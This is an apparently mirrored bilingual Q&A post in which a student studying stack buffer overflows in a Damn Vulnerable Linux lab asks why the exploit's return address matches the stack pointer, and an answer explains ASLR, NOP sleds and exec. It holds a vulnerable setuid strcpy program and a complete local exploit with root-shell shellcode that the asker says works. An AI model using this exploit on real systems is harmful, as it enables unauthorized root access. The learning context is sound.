简体   繁体   English

缓冲区溢出esp偏移

[英]Buffer Overflow esp offset

I'm a computer engineering student who is studying how stack buffer overflows work. 我是一名计算机工程专业的学生,​​正在研究堆栈缓冲区溢出如何工作。 The book I'm reading is The Art of Exploitation (1st edition) by Jon Erickson. 我正在读的书是乔恩·埃里克森(Jon Erickson)的《剥削的艺术》(第一版)。 In order to practice what I'm studying I've installed Damn Vulnerable Linux distribution in a virtual machine. 为了练习我正在研究的内容,我在虚拟机中安装了Damn Vulnerable Linux发行版。 I've disabled ASRL (kernel.randomize_va_space = 0), I've compiled the following codes with GCC 3.4.6 , I'm using GDB 6.6 and the kernel of the distribution is 2.6.20 . 我已经禁用了ASRL(kernel.randomize_va_space = 0),已经使用GCC 3.4.6编译了以下代码,正在使用GDB 6.6 ,发行版的内核是2.6.20 My computer has an Intel processor. 我的计算机装有Intel处理器。 The vulnerable program (test2) is created by root and is set as setuid. 易受攻击的程序(test2)由root创建,并设置为setuid。

The vulnerable code is the following: 易受攻击的代码如下:

//test2.c
int main(int argc, char *argv[])
{
char buffer[500];

strcpy(buffer, argv[1]);

return 0;
}

While the exploit code, created by normal (non root) user, is the following: 由普通(非root)用户创建的利用代码如下:

//main.c
#include <stdlib.h>

char shellcode[] =
"\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x16\x5b\x31\xc0\x88\x43\x07\x89\x5b\x08\x89\x43\x0c\xb0\x0b\x8d\x4b\x08\x8d\x53\x0c\xcd\x80\xe8\xe5\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";

unsigned long sp(void)
{
__asm__("movl %esp, %eax");
}

int main(int argc, char *argv[])
{
int i, offset;
long esp, ret, *addr_ptr;
char *buffer2, *ptr;

offset = 0;
esp = sp();

ret = esp - offset;

printf("Stack pointer (ESP) : 0x%x\n", esp);
printf(" Offset from ESP : 0x%x\n", offset);
printf("Desired Return Addr : 0x%x\n", ret);

buffer2 = malloc(600);

ptr = buffer2;
addr_ptr = (long *)ptr;
for (i = 0; i < 600; i += 4)
{
*(addr_ptr++) = ret;
}

for (i = 0; i < 200; i++)
{
buffer2[i] = '\x90';
}

ptr = buffer2 + 200;
for (i = 0; i < strlen(shellcode); i++)
{
*(ptr++) = shellcode[i];
}

buffer2[600 - 1] = 0;
execl("/root/workspace/test2/Release/test2", "test2", buffer2, 0);

free(buffer2);

return 0;
}

The program works, it exploits the buffer overflow vulnerability in test2 and gives me a root shell. 该程序有效,它利用了test2中的缓冲区溢出漏洞,并为我提供了root shell。 What I don't understand, even after reading the book several times and trying to find answers on the internet, is why the value of the stack pointer that we store in the variable esp is the return address of our shellcode. 我什至不理解,即使在读了几次书并试图在互联网上找到答案之后,也是为什么我们存储在变量esp中的堆栈指针的值是我们的shellcode的返回地址。 I've disassembled the program with GDB and everything works as the author says but I don't understand why this happens. 我已经用GDB对该程序进行了反汇编,并且一切都按照作者所说的进行了工作,但是我不明白为什么会这样。

I would have liked to show you how the disassembled program looked like and how the memory looked like during execution, but I cannot copy/paste from the guest machine on the virtual machine and I'm not allowed to insert images in my question. 我想向您展示反汇编程序的外观以及执行过程中的内存外观,但是我无法从虚拟机上的来宾机复制/粘贴,并且不允许在我的问题中插入图像。 So I can only try to describe what happens during execution of the program main (the one that exploits the BOF in test2): 因此,我只能尝试描述在执行程序main(利用test2中的BOF的程序)期间发生的情况:

disassembling main, I see that 28 bytes are allocated on the stack (7 variables * 4 bytes). 在分解主程序时,我看到堆栈上分配了28个字节(7个变量* 4个字节)。 Then the function sp() is called and the value of the stack pointer is stored in esp . 然后调用函数sp()并将堆栈指针的值存储在esp中 The value stored in the variable esp is 0xbffff344 . 存储在变量esp中的值为0xbffff344 Then, as you can see, we have some printf, we store the payload in buffer2 and then we call the execl function passing buffer2 as an argument. 然后,如您所见,我们有一些printf,将有效负载存储在buffer2中,然后调用execl函数,将buffer2作为参数传递。

now the root shell shows up and then the program exits. 现在出现根外壳,然后程序退出。 Disassembling the program after setting a different offset, I can clearly see that 0xbffff344 is precisely the address where the payload is stored when test2 is executed. 设置不同的偏移量后反汇编程序,我可以清楚地看到0xbffff344正是执行test2时存储有效负载的地址。 Could you explain me how does this happen? 您能解释一下这是怎么发生的吗? Does execl sets a new stack frame for the test2 program? execl是否为test2程序设置新的堆栈框架? In main.c only 28 bytes are allocated on the stack, while in test2 500 bytes are allocated on the stack (for buffer2). 在main.c中,堆栈中仅分配了28个字节,而在test2中,堆栈中分配了500个字节(用于buffer2)。 So how do I know that the stack pointer that i get in main.c is precisely the return address of the shellcode? 那么我怎么知道我在main.c中获得的堆栈指针正是shellcode的返回地址呢?

I thank you and apologize if I wrote some stupid things. 我感谢你,如果我写了一些愚蠢的东西,表示歉意。

Could you explain me how does this happen? 您能解释一下这是怎么发生的吗?

When ASLR is disabled every executable starts at the same address, so given the stack pointer you are able to guess the required offset to find your buffer location in test2. 禁用ASLR后,每个可执行文件都从同一地址开始,因此给定堆栈指针,您便可以猜测所需的偏移量以在test2中找到缓冲区位置。 This is also where the NOP sled becomes useful, since it give you multiple possible hit if the offset is not the exact displacement to the shellcode. 这也是NOP底座变得有用的地方,因为如果偏移量不是Shellcode的确切位移,它会给您带来多个可能的打击。

That being said the fact the the value of ESP in the main function of your exploit program IS the location of the executed buffer in test2 seems incorrect. 话虽如此,ESP的主要功能在漏洞利用程序的主要功能中就是test2中已执行缓冲区的位置这一事实。 Are you sure you just don't misinterpreted gdb results? 您确定您不会误解gdb结果吗?

You should be able to compute the offset of the buffer using the following : esp - 500 + 28. 您应该可以使用以下方法计算缓冲区的偏移量:esp-500 + 28。

Note that you should always wear gloves when using such formula : how the compiler handles locals, (size, order, etc) can vary. 请注意,使用以下公式时应始终戴手套:编译器如何处理本地变量(大小,顺序等)可能会有所不同。

So how do I know that the stack pointer that i get in main.c is precisely the return address of the shellcode? 那么我怎么知道我在main.c中获得的堆栈指针正是shellcode的返回地址呢?

Well You don't. 好吧,你没有。 It depends of the machine, how the program was compiled etc. 这取决于机器,程序的编译方式等。

Does execl sets a new stack frame for the test2 program? execl是否为test2程序设置新的堆栈框架?

From the execve man pages : 从execve手册页:

The exec family of functions shall replace the current process image with a new process image. exec系列功能应将当前过程映像替换为新的过程映像。 The new image shall be constructed from a regular, executable file called the new process image file. 新映像应从称为新过程映像文件的常规可执行文件中构建。 There shall be no return from a successful exec, because the calling process image is overlaid by the new process image. 成功的执行程序不会有任何回报,因为调用过程映像被新的过程映像覆盖。

The stack is overridden by a new one for test2. 堆栈被test2的新堆栈覆盖。

Hope it helps :) 希望能帮助到你 :)

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM